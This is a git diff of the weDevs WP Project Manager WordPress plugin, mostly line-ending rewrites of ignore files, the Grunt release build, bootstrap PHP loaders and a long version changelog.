diff --git a/.gitignore b/.gitignore index 85475d2a2..e158d58ee 100644 --- a/.gitignore +++ b/.gitignore @@ -1,23 +1,23 @@ -/node_modules/ -/vendor/ -/views/assets/js/ -/views/assets/css/pm-style.css -/.idea -.env -.DS_Store -.travis.yml -npm-debug.log -/bin/ -/tests/bootstrap.php -/tests/test-sample.php -phpcs.ruleset.xml -phpunit.xml.dist -composer.phar -/tmp -/build/ -pm.sublime-project -phpcs-report.txt -/languages/wedevs-project-manager.pot -/views/assets/vendor/wp-hooks/pm-hooks.js -/views/assets/vendor/vue-fullscreen/vue-fullscreen.min.js - +/node_modules/ +/vendor/ +/views/assets/js/ +/views/assets/css/pm-style.css +/.idea +.DS_Store +.travis.yml +npm-debug.log +/bin/ +/tests/bootstrap.php +/tests/test-sample.php +phpcs.ruleset.xml +phpunit.xml.dist +composer.phar +/tmp +/build/ +pm.sublime-project +phpcs-report.txt +/languages/wedevs-project-manager.pot +/views/assets/vendor/wp-hooks/pm-hooks.js +/views/assets/vendor/vue-fullscreen/vue-fullscreen.min.js + +config.bat diff --git a/.svnignore b/.svnignore index 6191f59a9..d7cc7ab8a 100644 --- a/.svnignore +++ b/.svnignore @@ -1,24 +1,24 @@ -.babelrc -.gitignore -composer.json -Gruntfile.js -package.json -plugin-deploy.sh -readme.md -webpack.config.js -views/assets/src -build -.idea -.DS_Store -npm-debug.log -tests -.svnignore -.travis.yml -package-lock.json -phpcs.ruleset.xml -phpunit.xml.dist -composer.lock -bin -tmp -.editorconfig -composer.phar +.babelrc +.gitignore +composer.json +Gruntfile.js +package.json +plugin-deploy.sh +readme.md +webpack.config.js +views/assets/src +build +.idea +.DS_Store +npm-debug.log +tests +.svnignore +.travis.yml +package-lock.json +phpcs.ruleset.xml +phpunit.xml.dist +composer.lock +bin +tmp +.editorconfig +composer.phar diff --git a/Gruntfile.js b/Gruntfile.js index 20d806124..4f6d29a93 100644 --- a/Gruntfile.js +++ b/Gruntfile.js @@ -1,164 +1,164 @@ -'use strict'; - -module.exports = function(grunt) { - var pkg = grunt.file.readJSON('package.json'); - - var stringReplace = { - download_link: { - src: ['config/app.php'], // source files array (supports minimatch) - dest: 'config/app.php', // destination directory or file - replacements: [ - { - from: '{github-download-version}', // string replacement - to:'v' + pkg.version - }, - ] - } - }; - - grunt.initConfig({ - // Clean up build directory - clean: { - main: ['build/'] - }, - - // Copy the plugin into the build directory - copy: { - main: { - src: [ - '**', - '!node_modules/**', - '!build/**', - '!tests/**', - '!bin/**', - '!.git/**', - '!Gruntfile.js', - '!package.json', - '!package-lock.json', - '!phpcs.ruleset.xml', - '!phpunit.xml.dist', - '!webpack.config.js', - '!tmp/**', - '!views/assets/src/**', - '!src/Pusher/webpack.config.js', - '!src/Pusher/views/assets/src/**', - '!debug.log', - '!phpunit.xml', - '!export.sh', - '!.gitignore', - '!.gitmodules', - '!.env', - '!npm-debug.log', - '!plugin-deploy.sh', - '!readme.md', - '!composer.json', - '!composer.lock', - '!composer.phar', - '!secret.json', - '!codeception.yml', - '!assets/less/**', - '!tests/**', - '!**/Gruntfile.js', - '!**/package.json', - '!**/README.md', - '!**/customs.json', - '!nbproject', - '!phpcs-report.txt', - '!phpcs.xml.dist', - '!phpcs.xml.dist', - '!pm.sublime-project', - '!pm.sublime-workspace', - '!postman_collection.json', - '!views/assets/css/Single Task Page.json', - '!views/assets/vendor/wp-hooks/wp-hooks.js', - '!**/*~' - ], - dest: 'build/' - } - }, - - //Compress build directory into .zip and -.zip - compress: { - main: { - options: { - mode: 'zip', - archive: './build/wedevs-project-manager-v' + pkg.version + '.zip' - }, - expand: true, - cwd: 'build/', - src: ['**/*'], - dest: 'wedevs-project-manager' - } - }, - - addtextdomain: { - options: { - textdomain: 'wedevs-project-manager', - }, - update_all_domains: { - options: { - updateDomains: true - }, - src: [ '*.php', '**/*.php', '!node_modules/**', '!php-tests/**', '!bin/**', '!build/**', '!vendor/**', '!assets/**', '!views/src/**' ] - } - }, - - replace: stringReplace, - - run: { - options: {}, - - reset:{ - cmd: 'npm', - args: ['run', 'build'] - }, - - makepot:{ - cmd: 'npm', - args: ['run', 'makepot'] - }, - - removeDev:{ - cmd: 'composer', - args: ['install', '--no-dev'] - }, - - dumpautoload:{ - cmd: 'composer', - args: ['dumpautoload', '-o'] - }, - - composerInstall:{ - cmd: 'composer', - args: ['install'] - }, - - } - }); - - // Load NPM tasks to be used here - grunt.loadNpmTasks( 'grunt-contrib-less' ); - grunt.loadNpmTasks( 'grunt-contrib-concat' ); - grunt.loadNpmTasks( 'grunt-contrib-jshint' ); - grunt.loadNpmTasks( 'grunt-wp-i18n' ); - grunt.loadNpmTasks( 'grunt-text-replace' ); - //grunt.loadNpmTasks( 'grunt-contrib-uglify' ); - grunt.loadNpmTasks( 'grunt-contrib-watch' ); - grunt.loadNpmTasks( 'grunt-contrib-clean' ); - grunt.loadNpmTasks( 'grunt-contrib-copy' ); - grunt.loadNpmTasks( 'grunt-contrib-compress' ); - grunt.loadNpmTasks( 'grunt-run' ); - - grunt.registerTask( 'release', [ - 'clean', - 'run:reset', - 'run:makepot', - 'run:removeDev', - 'run:dumpautoload', - 'replace', - 'copy', - 'compress', - 'run:composerInstall', - 'run:dumpautoload', - ]); -}; +'use strict'; + +module.exports = function(grunt) { + var pkg = grunt.file.readJSON('package.json'); + + var stringReplace = { + download_link: { + src: ['config/app.php'], // source files array (supports minimatch) + dest: 'config/app.php', // destination directory or file + replacements: [ + { + from: '{github-download-version}', // string replacement + to:'v' + pkg.version + }, + ] + } + }; + + grunt.initConfig({ + // Clean up build directory + clean: { + main: ['build/'] + }, + + // Copy the plugin into the build directory + copy: { + main: { + src: [ + '**', + '!node_modules/**', + '!build/**', + '!tests/**', + '!bin/**', + '!.git/**', + '!Gruntfile.js', + '!package.json', + '!package-lock.json', + '!phpcs.ruleset.xml', + '!phpunit.xml.dist', + '!webpack.config.js', + '!tmp/**', + '!views/assets/src/**', + '!src/Pusher/webpack.config.js', + '!src/Pusher/views/assets/src/**', + '!debug.log', + '!phpunit.xml', + '!export.sh', + '!.gitignore', + '!.gitmodules', + '!.env', + '!npm-debug.log', + '!plugin-deploy.sh', + '!readme.md', + '!composer.json', + '!composer.lock', + '!composer.phar', + '!secret.json', + '!codeception.yml', + '!assets/less/**', + '!tests/**', + '!**/Gruntfile.js', + '!**/package.json', + '!**/README.md', + '!**/customs.json', + '!nbproject', + '!phpcs-report.txt', + '!phpcs.xml.dist', + '!phpcs.xml.dist', + '!pm.sublime-project', + '!pm.sublime-workspace', + '!postman_collection.json', + '!views/assets/css/Single Task Page.json', + '!views/assets/vendor/wp-hooks/wp-hooks.js', + '!**/*~' + ], + dest: 'build/' + } + }, + + //Compress build directory into .zip and -.zip + compress: { + main: { + options: { + mode: 'zip', + archive: './build/wedevs-project-manager-v' + pkg.version + '.zip' + }, + expand: true, + cwd: 'build/', + src: ['**/*'], + dest: 'wedevs-project-manager' + } + }, + + addtextdomain: { + options: { + textdomain: 'wedevs-project-manager', + }, + update_all_domains: { + options: { + updateDomains: true + }, + src: [ '*.php', '**/*.php', '!node_modules/**', '!php-tests/**', '!bin/**', '!build/**', '!vendor/**', '!assets/**', '!views/src/**' ] + } + }, + + replace: stringReplace, + + run: { + options: {}, + + reset:{ + cmd: 'npm', + args: ['run', 'build'] + }, + + makepot:{ + cmd: 'npm', + args: ['run', 'makepot'] + }, + + removeDev:{ + cmd: 'composer', + args: ['install', '--no-dev'] + }, + + dumpautoload:{ + cmd: 'composer', + args: ['dumpautoload', '-o'] + }, + + composerInstall:{ + cmd: 'composer', + args: ['install'] + }, + + } + }); + + // Load NPM tasks to be used here + grunt.loadNpmTasks( 'grunt-contrib-less' ); + grunt.loadNpmTasks( 'grunt-contrib-concat' ); + grunt.loadNpmTasks( 'grunt-contrib-jshint' ); + grunt.loadNpmTasks( 'grunt-wp-i18n' ); + grunt.loadNpmTasks( 'grunt-text-replace' ); + //grunt.loadNpmTasks( 'grunt-contrib-uglify' ); + grunt.loadNpmTasks( 'grunt-contrib-watch' ); + grunt.loadNpmTasks( 'grunt-contrib-clean' ); + grunt.loadNpmTasks( 'grunt-contrib-copy' ); + grunt.loadNpmTasks( 'grunt-contrib-compress' ); + grunt.loadNpmTasks( 'grunt-run' ); + + grunt.registerTask( 'release', [ + 'clean', + 'run:reset', + 'run:makepot', + 'run:removeDev', + 'run:dumpautoload', + 'replace', + 'copy', + 'compress', + 'run:composerInstall', + 'run:dumpautoload', + ]); +}; diff --git a/bootstrap/loaders.php b/bootstrap/loaders.php index ad22bfd39..2f78282c5 100644 --- a/bootstrap/loaders.php +++ b/bootstrap/loaders.php @@ -1,160 +1,160 @@ -addConnection( $config_db ); - - // Setup eloquent model events - $capsule->setEventDispatcher(new \Illuminate\Events\Dispatcher()); - - // Make this Capsule instance available globally via static methods... (optional) - $capsule->setAsGlobal(); - - // Setup the Eloquent ORM... (optional; unless you've used setEventDispatcher()) - $capsule->bootEloquent(); -} - -function pm_load_schema() { - $contents = []; - $files = glob( __DIR__ . "/../db/migrations/*.php" ); - - if ( $files === false ) { - throw new RuntimeException( "Failed to glob for migration files" ); - } - - foreach ( $files as $file ) { - $contents[basename( $file, '.php' )] = file_get_contents( $file ); - } - - unset( $file ); - unset( $files ); - - return $contents; -} - -function pm_migrate_db() { - $migrater = new Migrater(); - - $migrater->create_migrations_table(); - $migrater->build_schema(); -} - -function pm_seed_db() { - (new RoleTableSeeder())->run(); -} - -function pm_register_routes() { - $routes = Router::get_routes(); - - WP_Router::register($routes); -} - -function pm_view() { - new Frontend(); -} - -function pm_user_tracking() { - add_action( 'plugins_loaded', 'pm_after_load_pro', 99 ); -} - -function pm_after_load_pro() { - // add_action( 'init', 'pm_init_tracker' ); // No need after v1.1 -} - -function pm_init_tracker() { - $client = new Appsero\Client( 'd6e3df28-610b-4315-840d-df0b2b02f4fe', 'WP Project Manager', PM_FILE ); - - $insights = $client->insights(); - - // If client version is upper then or equal to 1.1.1 - if ( version_compare( $client->version, '1.1.1', '>=' ) ) { - $insights->add_extra( function() { - return [ - 'projects' => pm_total_projects(), - 'tasklist' => pm_total_task(), - 'tasks' => pm_total_task_list(), - 'message' => pm_total_message(), - 'milestone' => pm_total_milestone(), - 'is_pro' => class_exists('WeDevs\PM_Pro\Core\WP\Frontend') ? 'yes' : 'no' - ]; - } ); - } - - $insights->init_plugin(); -} +addConnection( $config_db ); + + // Setup eloquent model events + $capsule->setEventDispatcher(new \Illuminate\Events\Dispatcher()); + + // Make this Capsule instance available globally via static methods... (optional) + $capsule->setAsGlobal(); + + // Setup the Eloquent ORM... (optional; unless you've used setEventDispatcher()) + $capsule->bootEloquent(); +} + +function pm_load_schema() { + $contents = []; + $files = glob( __DIR__ . "/../db/migrations/*.php" ); + + if ( $files === false ) { + throw new RuntimeException( "Failed to glob for migration files" ); + } + + foreach ( $files as $file ) { + $contents[basename( $file, '.php' )] = file_get_contents( $file ); + } + + unset( $file ); + unset( $files ); + + return $contents; +} + +function pm_migrate_db() { + $migrater = new Migrater(); + + $migrater->create_migrations_table(); + $migrater->build_schema(); +} + +function pm_seed_db() { + (new RoleTableSeeder())->run(); +} + +function pm_register_routes() { + $routes = Router::get_routes(); + + WP_Router::register($routes); +} + +function pm_view() { + new Frontend(); +} + +function pm_user_tracking() { + add_action( 'plugins_loaded', 'pm_after_load_pro', 99 ); +} + +function pm_after_load_pro() { + // add_action( 'init', 'pm_init_tracker' ); // No need after v1.1 +} + +function pm_init_tracker() { + $client = new Appsero\Client( 'd6e3df28-610b-4315-840d-df0b2b02f4fe', 'WP Project Manager', PM_FILE ); + + $insights = $client->insights(); + + // If client version is upper then or equal to 1.1.1 + if ( version_compare( $client->version, '1.1.1', '>=' ) ) { + $insights->add_extra( function() { + return [ + 'projects' => pm_total_projects(), + 'tasklist' => pm_total_task(), + 'tasks' => pm_total_task_list(), + 'message' => pm_total_message(), + 'milestone' => pm_total_milestone(), + 'is_pro' => class_exists('WeDevs\PM_Pro\Core\WP\Frontend') ? 'yes' : 'no' + ]; + } ); + } + + $insights->init_plugin(); +} diff --git a/bootstrap/start.php b/bootstrap/start.php index a2bca3059..9cc7eaa92 100644 --- a/bootstrap/start.php +++ b/bootstrap/start.php @@ -1,27 +1,27 @@ -8. - -= v2.0.1 - Jun 29, 2018 = - - * **Fix:** Fix database migration problem upon updating the plugin. - -= v2.0 - Jun 28, 2018 = - - * **BREAKING**: This **v2.0** release is a major version and introduces breaking changes by re-writing the whole plugin. Please test the plugin before updating from v1.x. Taking a **database backup** is adviced. - * **New:** REST API added. Now you can access everything of project manager via the API. Creating of mobile apps would be much easier. - * **New:** Moved from custom post type to custom database tables, which performs a lot faster. - * **New:** We have re-written the Project Management UI, powered by [Vue.js](https://vuejs.org/). This introduces a SPA (Single Page Application) with blazing fast page loading and a snappier user experience. - * **Bug Fixes:** We have also squashed a lot pesky bugs under the hood. - -= 1.6.16 - Jun 11, 2018 = - - * [fixed] Project title is overlaping on RTL language. - * [fixed] Could not select project category while creating/editing a project. - * [fixed] Single task is not re-rendering - -= 1.6.15 - May 10, 2018 = - - * [fixed] Task list is not showing when using the Internet Explorer browser. - * [fixed] Projects dashboard display missing alignment. - * [Update] Improved plugin strings. - -= 1.6.14 - April 26, 2018 = - - * [fixed] Task is not showing after clicking on a task from the calendar. - * [fixed] Mail notificaation system not working. - * [fixed] Category menu selection while creating project not working on RLT. - * [fixed] RTL display missing alignment on milestone. - -= 1.6.13 - April 12, 2018 = - - * [fixed] RTL display missing alignment. - * [fixed] Settings menu is not showing properly on projects header. - * [fixed] Project settings page translation not working. - -= 1.6.12 - March 22, 2018 = - - * [fixed] Showing HTML markup in task descriptions when we enter plain text. - * [fixed] To-do list, Discussion, milestone, page translation not working. - * [fixed] Projects page translation not working. - * [update] Improved plugin strings. - -= 1.6.11 - February 26, 2018 = - - * [fix] Notify users while commenting in a task. - * [fix] Trix-editor intregration with the WP ERP. - * [fix] Compatible with the Microsoft Edge browser. - * [fix] Task re-ordering. - * [fix] Project list and grid view compatible with all browsers. - -= 1.6.10 - November 27, 2017 = - - * [new] Vuejs loading made compact. - * [new] Included vuejs in project file. - * [update] Included file download attributes. - * [update] Notify manager when updating comments. - * [fix] Navigate to a task from the calendar. - * [fix] User search problem fixed when creating a project. - * [fix] Text editor style problem fixed. - -= 1.6.9 - August 24, 2017 = - - * [Fix] CPM free loader class active after loading WP all plugins - * [Fix] All co-workers get mail after completed the task - * [new] weForms Upsell Class - -= 1.6.8 - August 17, 2017 = - - * [Fix] Prevent the loading trix-editor for all WP page. - * [Fix] Text formating retained got from others editor. - * [Fix] Creating second task does change the date of first task. - * [new] Add new component cpm-datepicker - -= 1.6.7 - August 01, 2017 = - - * [new] Js Tiptip library has been added. - * [update] Condition applied when showing calender on setting tast start date. - * [update] Date icon has been shown if no date was set. - * [update] Description icon has been shown if no description was set. - * [update] Co-Worker icon has been shown if no Co-Worker was set in the task. - * [fix] Double date picker shown at task date update time. - * [fix] Undefined index errors. - -= 1.6.6 - July 31, 2017 = - - * [new] Task title update from single task page. - * [new] Task privacy update from single task page. - * [new] Task description update from single task page. - * [new] Task start and end date update from single task page. - * [new] Add user/co-worker/client from single task page. - * [fix] Unable to complete task. - * [fix] When complete a task then this completed task shown double in the to-do list. - * [fix] Double "New To-Do" button shown. - * [update] 'Get project id' function always return false. - * [update] Design change for single task page. - -= 1.6.5 - July 6, 2017 = - - * [fix] Co-worker can not show the list corner menu. - * [fix] Co-Worker could not notifying when add or update project. - * [fix] Double "New To-Do" button shown and also cpm-new-todolist-form has shown when clicked "New To-Do" List button. - * [fix] Project create permission. - * [fix] Get complete and incomplete task query - * [fix] Change routing effect at todo-list page to another page - -= 1.6.4 - June 22, 2017 = - - * [new] Task list-view on the right corner in to-do list section. - * [update] Notify co-workers on task completion. - * [update] Task update action hook. - * [update] Style sheets updated. - * [update] Some javascript refactored. - * [fix] Wrong color is showing for a task on basis of task competion status. - * [fix] PHP warning on project overview. - * [fix] PHP warning on my task overview. - -= 1.6.3 - June 07, 2017 = - - * [new] Drag and drop sortability added to the task - * [update] Task color scheme. - * [update] Activity graph color scheme in my task section. - * [update] Single task redirection in my task section. - * [update] Project duplication. - * [update] Project overview section. - * [fix] Grid/List view action on project listing is not working. - * [fix] Project overview graph is not working. - * [fix] Not all users of a project is being duplicated when duplicating a project. - * [fix] Notification is sent to the co-workers when a project is created. - * [fix] Unable to comment in a task when it is redirected from current task in my task. - * [fix] Unable to comment in a task when it is redirected from outstanding task in mytask. - * [fix] Unable to comment in a task when it is redirected from competed task in my task. - * [fix] User selection is not working in my task. - * [fix] Date section is not working in activity graph in my task. - * [fix] Red color is showing for current task in my task. - * [fix] Overview section in my task is not working - * [fix] Activity section in my task is not working - * [fix] Current task section in my task is not working - * [fix] Outstanding task section in my task is not working - * [fix] Completed task section in my task is not working - * [fix] File attachment is not working when commenting in the file section of a project. - * [fix] Unable to delete a comment in the file section of a project. - * [fix] Commenting in a discussion board is not working. - * [fix] Editing a comment in a discussion board is not working. - * [fix] Deleting a comment in a discussion board is not working. - * [fix] Javascript shows error when commenting, editing comments and deleting comments in discussion board. - -= 1.6.2 - April 27, 2017 = - - * [new] Email template for mentioning users in a comment. [pro] - * [new] Moment js dependency added. - * [new] Compatibility for mentioning users in a comment. - * [update] Include filter for register project post type. - * [update] Include filter for register project taxonomy. - * [update] Change pagination position from left to right. - * [update] Pagination has been shown up and down of to-do lists content. - * [update] Single task url. - * [update] To-do lists progress bar. - * [update] Unnecessary parameters removed form wp_enqueue_script in cpm. - * [update] Array declaration according to lower version of php. - * [fix] Can’t use function return value in write context. - * [fix] Syntax error, unexpected '[' - * [fix] Filtering for to-do lists private view. - * [fix] Filtering problem for the visibility of to-do lists create button. - * [fix] List style problem in tiny-MCE comment box while commenting on discussion board. - * [fix] WP nonce problem in project discussion. - -= 1.6.1 - April 11, 2017 = - - * [fix] Load JS files only in todo list page - * [fix] Fix typo in todo list privacy checking capability - * [fix] Shortcode rendering in comments - * [fix] Remove users from notification panel outside of the project members - * [fix] Removed PHP array shorthand declaration - * [fix] Single task URL problem in My Task - -= 1.6 - April 08, 2017 = - - * [new] Use js library Vue - * [new] Design layout changed for To-do Lists. - * [new] Real time update every action for To-do lists. - * [new] Two way data binding for to-do list edit - * [new] Two way data binding for task edit - * [new] Task lazy loading. - * [new] Vue routing for single To-do list - * [new] Real time pagination. - * [new] Completed and incomplete label added for corresponding tasks in single to-list. - * [update] Discussion editor changed from tricks to tinymce. - * [update] Real time change of progress bar. - * [update] Assign user to task options changed from choosen to Vue multiselect. - * [update] User avatar(gravatar) link changed form 404 to mm - * [fix] Remove comments link from overview. - * [fix] All functionalities for to-do list. - -= 1.5.1 - September 19, 2016 = - - * [new] Send Email Notification when a comment updates. - * [new] Add filter for how many letter to show when image name is long in files tab. - * [fix] Fixed conflict with buddypress. - * [fix] Fixed Project creation capability and update language files. - * [fix] Made Report print friendly. - * [fix] Files tab loading improvement. - * [fix] Show all comments in newly uploaded file view. - * [fix] Client view private discussion. - -= 1.5 - August 20, 2016 = - - * [new] Report section new design. - * [new] New Report item added. - * [new] Files tab new design and add new feature in pro version. - * [new] Add option for create document and connect to other online Docs. - * [new] Add option to upload files / attachment direct to a project. - * [fix] Duplicate mail send on project create. - * [fix] Change cpm_get_option function. - -= 1.4.3 - May 30, 2016 = - - * [fix] Milestone input date and project redirect issue after create. - * [fix] Sorting completed milestone - * [fix] Image broken in emails - * [fix] File upload on first discussion problem fix. - * [fix] Task Done/Undone tick problem fix. - * [fix] New user create on project create or update problem fix. - * [fix] Department or personal projects show in ERP integration. - -= 1.4.2 - April 6, 2016 = - - * [fix] Project permission problem in free version - -= 1.4.1 - March 28, 2016 = - - * [new] Task list sticky option added as a replacement for sorting - * [new] Proper mime type icon set - * [new] Initial ERP integration added - * [fix] Front-end URL issue - -= 1.4 - March 13, 2016 = - - * [new] UI Re-designed - * [new] Tasks now have a description field - * [tweak] As now we have description in tasks, previous tasks were updated. - * [tweak] Project post_type changed from `project` to `cpm_project` - * [tweak] Task post_type changed from `task` to `cpm_task` - * [tweak] Task List post_type changed from `task_list` to `cpm_task_list` - * [tweak] Milestone post_type changed from `milestone` to `cpm_milestone` - * [tweak] Message post_type changed from `message` to `cpm_message` - * [tweak] project_category taxonomy changed from `project_category` to `cpm_project_category` - -= 1.3.8 - October 20, 2015 = - - * [fix] Front-end current task, outstanding task and completed task url problem fix - * [fix] Without login can access front-end problem fix - * [fix] Current task, outstanding task and completed task live update problem fix. - * [fix] Fetch outstanding and completed task problem fix - -= 1.3.7 - October 15, 2015 = - - * [fix] Fix LogicException on autoloader - -= 1.3.6 - October 15, 2015 = - - * [fix][pro] Add category for front-end - * [fix] Email notification subject issue fixed - -= 1.3.5 - September 29, 2015 = - - * [fix] User role and items table weren't being created during install - -= 1.3.4 - September 19, 2015 = - - * [fix] Pagination error fix in free version - * [fix] Project manage/create cap option brought back to free - * [fix] Version upgrader issue fixed - -= 1.3.3 - September 15, 2015 = - - * [fix] Single project permission issue - -= 1.3.2 - September 14, 2015 = - - * [fix] Project Duplication error - * [fix] New task assignmed email subject was missing - -= 1.3.1 - September 11, 2015 = - - * [fix] File missing problem for front-end - * [fix] Plugin path in updater - -= 1.3 - September 3, 2015 = - - * [improved] Free/Pro separation. Massive code change - * [improved] Email notification templates updated. Removed the settings from admin. - -= 1.2.2 - June 9, 2015 = - -* [fix] Fatal error on frontend - -= 1.2.1 - June 7, 2015 = - -* [fix] Project report datepicker wasn't showing -* [fix] URL management for admin/frontend -* [improved] Plugin updater - -= 1.2 - June 4, 2015 = - -* [new] Project Reporting -* [new] Progress accross all the projects -* [new] JSON REST API integration added - -= 1.1 - April 19, 2015 = - -* [new] Daily digest feature added -* [improved] Plugin upgrade routine updated - - -= 1.0 - March 1, 2015 = - -* [fix] Project delete time shoud be deleted all child post -* [fix] Active Tabs not working for To-do Lists & Settings -* [fix] Comment link problem for Subtask -* [improved] Duplicate project - To-do lists order lost -* [new] assign a task to more than one user -* [new] Search feature -* [new] Filter projects by clients -* [new] Pagination in project home page -* [fix] Files Tab Doesn't show any attachement to Client -* [fix] Long Project Title Problem -* [new] witch for disabling certain E-mail notification -* [fix] Project manager date format is fixed -* [fix] E-mail URL Problem -* [new] Email Notification ON/OFF feature -* [fix] Link in message body not working -* [new] Rich text editor - - -= 0.5.3 - April 19, 2014 = - -* [fix] 1 day decrease due to gmt_offset when updating todo -* [fix] Added checking on single message/todo/milestone for unauthorized access -* [new] BCC on/off settings for notification -* [improved] Scrolling project people when more peoples are added on listing - -= 0.5.2 - Mar 25, 2014 = - -* [fix] privacy bug in milestone -* [fix] project_category removed from project filter -* [fix] milestone duplicate assignment -* [fix] milestone lock icon -* [fix] addons menu removed for other users - -= 0.5.1 = - -* default from email field added -* separate calender and my task script function -* avatar bug fix -* stopwatch function removed -* task trigger position changed -* remove font family -* number of projects bug fix in listing - -= 0.5 = - -* Pro version released - -= 0.4.3 = - -* new: Spanish translation -* new: German translation -* new: Indonesian translation -* fix: milestone datepicker issue -* fix: some typo fixes -* improved: comment count next to tasklists - -### 0.4.2 - -* bug fix: project activity/comments on frontend widget -* bug fix: project activity/comments on comment rss -* bug fix: number of milestones -* improved: plugin textdomain loading -* new: project task progressbar on project listing -* new: tasklist sorting -* new: task sorting -* new: Dutch translation language added -* new: Brazilian Portuguese language added - -### 0.4.1 - -* bug fix: attachment association problem on comment update -* bug fix: error on message update - -### 0.4 - -* improved: default email format changed to 'text/plain' from 'text/html' -* improved: toggle added on user notification selection -* improved: only date was showing on single message details, time added -* improved: some filters added on URLs -* bug fix: actual file url hidden on files tab for privacy -* bug fix: any user could edit any users message -* bug fix: any user could delete any users message -* new: admin settings page added -* new: email template added -* new: French translation added -* new: file upload size settings added - -### 0.3.1 - -* comment update bug fix -* project activity is now grouped by date -* "load more" button added on project activity -* some function documentation added. - -### 0.3 - -* Translation capability added -* Attachment security added. All files are now served via a proxy script - for security with permission checking. - -### 0.2.1 - -* Comments display error fix - -### 0.2 - -* Remove comments from listing publicly -* Post types are hidden from search - -### 0.1 -Initial version released += v2.6.0 - Nov 30, 2022 = + +**New:** Added pm pro version overview for lite users + += v2.5.0 - July 15, 2022 = + +**Update:** Compatibility with PHP-8.x +**Update:** Improved codebase to make performance better +**Fix:** Fixed some translation issues + += v2.4.18 - March 28, 2022 = + +**Fix:** Fixed Project Searching hover project links. (Issue #437) +**Fix:** Fixed Some Role Permission assign issue after creating project. + += v2.4.17 - Feb 07, 2022 = + +**Notice:** Limited time promotional notice on Super Bowl sale + += v2.4.16 - Dec 23, 2021 = + +**Fix:** Discussion file url was not downloadable for PDF +**Notice:** Limited time promotional notice on holiday sale + += v2.4.15 - Nov 11, 2021 = + +**Update:** ChartJS libraries from v2.x to v3.6.0 +**Update:** Removed dummy data, unused files and external cdn links to improve and clean the whole codebase +**Fix:** Data escaping and sanitization issues all over the plugin +**Fix:** Some i18n translation, wrong text-domain issues +**Notice:** Limited time promotional offer regarding Black Friday and Cyber Monday + += v2.4.14 - Oct 11, 2021 = + +**Fix:** Data sanitization and validation issues to prevent security threats +**Fix:** Timezone issues in My Calendar +**Fix:** Task file downloading issue by other member of project assignee list +**Fix:** After Task Create Email, `undefined offset` issue in template footer +**Fix:** User assign issue from Project Overview page +**Fix:** Unassigned Reports were not loading +**Notice:** Limited time promotional offer for Halloween + += v2.4.13 - July 16, 2021 = + +**Notice:** Limited time promotional offer regarding summer sale +**Update:** Calendar event content styles +**Update:** Some library upgrade for better performance +**Fix:** My Task report was not getting accurate result in some cases +**Fix:** My Calendar single task was unable to be moved +**Fix:** After creating a task, it was not updating instantly in ‘My Calendar’ and ‘My Task at a Glance’ section +**Fix:** Authentication issues on some un-authenticated API endpoints like tasks, task types, activities + += v2.4.12 - May 07, 2021 = + +**Notice:** Limited time promotion on account of Eid. + += v2.4.11 - March 17, 2021 = + +**Notice:** Limited time promotion for weDevs’ birthday. + +**Fix** Vulnerable security issue. + += v2.4.9 - Jan 26, 2021 = + +**Fix** Email notification was showing the wrong task completed user name. +**Fix** Every member can see every project. +**Fix** First-time task lists were not loading from the notification email. +**Update** Alignment problem when creating the new project. + += v2.4.8 - Dec 18, 2020 = + +**Update** Task query updated for filtering tasks by complete_at date range. +**Fix** Completed tasks were not showing on my-task. +**Fix** Made the icons inline alignment on the subtask create form. + += v2.4.7 - Dec 10, 2020 = + +**Update** PSR-4 standard +**Fix** Project pagination was not working when all projects are deleted from the current page. +**Fix** Fixed the task pagination problem. It was not working when a task is deleted. + += v2.4.6 - Nov 21, 2020 = + +**Fix** User capability is not chanting after save it. +**Fix** User can not access their reports from my-task. +**Fix** Email footer logo is not appearing. + += v2.4.5 - Nov 11, 2020 = + +**New** Help tooltip in single task. +**Update** Rewrite email template. +**Fixed** Pagination back button is not working for project page. + += v2.4.4 - Oct 08, 2020 = + +**New** Introduce new library simshaun/recurr. +**New** Added the remove format option in project manager text editor. +**Fixed** In text editor, after type '@' the list of users exceeds outside of the modal. +**Fix** Task assigned all users can change the task type. +**Fix** User can not delete their own created task comments. +**Fix** Remove the HTML tag from milestone title. + += v2.4.3 - Sep 10, 2020 = + +**Update** In dashboard project menu bar has been rearranged. +**Update** In single task now user can navigate to project and task list. +**Fix** Co-worker can not be deleted in self created task comment. +**Fix** In frontend project manager date picker was not showing in single task. +**Fix** In my task, task create form did not change the list even the project has been change. +**Fix** Project title was missing from my-task. + += v2.4.2 - Aug 26, 2020 = + +* **Fix** Single task popup is not appearing. + += v2.4.1 - Aug 25, 2020 = + +* **New** Add new task type for individual task. +* **Fix** During task update the date picker was not showing. +* **Fix** Was not able to delete the task list description. +* **Fix** Optimize code for security issue. +* **Fix** Task list title was not able to update. +* **Fix** Completed project was not able to restore. + += v2.4.0 - Jul 17, 2020 = + +* **New** Component for pm-vue2-daterange-picker, pm-button, pm-do-slot. +* **New** Change all date picker from all forms. +* **New** Manage do-action content without any wrapper. +* **New** API end point is now working for all permalink. +* **Update** UI/UX for creating new task. +* **Update** UI/UX for add new members from single task popup. +* **Update** UI/UX for task due date from single task popup. +* **Fix** Could not download files from the project. + += v2.3.11 - Jun 16, 2020 = + +* **Fix** API end point is now working for all permalink. +* **Fix** My-task calendar missing current date task. +* **Fix** In my-task, The task is not updating after user closing the single task popup. +* **Fix** In My- task user can not select the date range during the task create time. +* **Fix** User can not delete self created task-list. +* **Fix** In content text should not break in middle of the word (style change break-all to break-word). + += v2.3.10 - May 05, 2020 = + +* **Fix** Task load more is not working for co-worker. + += v2.3.9 - Apr 30, 2020 = + +* **New** New function for getting tasks, messages, milestones, discussions, projects, comments, files, users. +* **New** Project description shows upon clicking on the description button. +* **Update** Load more buttons showing twice after deleting completed task. +* **Fix** On My task overview graph showing error when there are no task. +* **Fix** Task assigned date is not showing in a single task popup. +* **Fix** Progress bar continue loading after clicking on Clear button on the task filter. + += v2.3.8 - Mar 12, 2020 = + +* **New** New function for getting tasks, messages, milestones, discussions, projects, comments, files, users. +* **New** Toggle Project description. +* **Fix** Overview graph showing error when there is no task. +* **Fix** Task assigned date is not showing in single task popup. +* **Fix** Progress bar continue loading when clearing the task filter. +* **Update** The unnecessary load more button is showing when delete completed task. + + += v2.3.8 - Mar 12, 2020 = + +* **New** Add fileter for removing project unique title. +* **Fix** Fixing Multiside completable issues. +* **Update** Update query for fetching users to make Multi-site compatible. + += v2.3.7 - Feb 27, 2020 = + +* **Fix** In favorite project section 'all projects' were showing. +* **Fix** Task notification mails contains raw html. +* **Fix** Set 200 character limit when adding a new task. + += v2.3.6 - Feb 10, 2020 = + +* **New** Set date range picker in my-task section to filter tasks. +* **New** Set date range picker in my-task overview to filter activities. 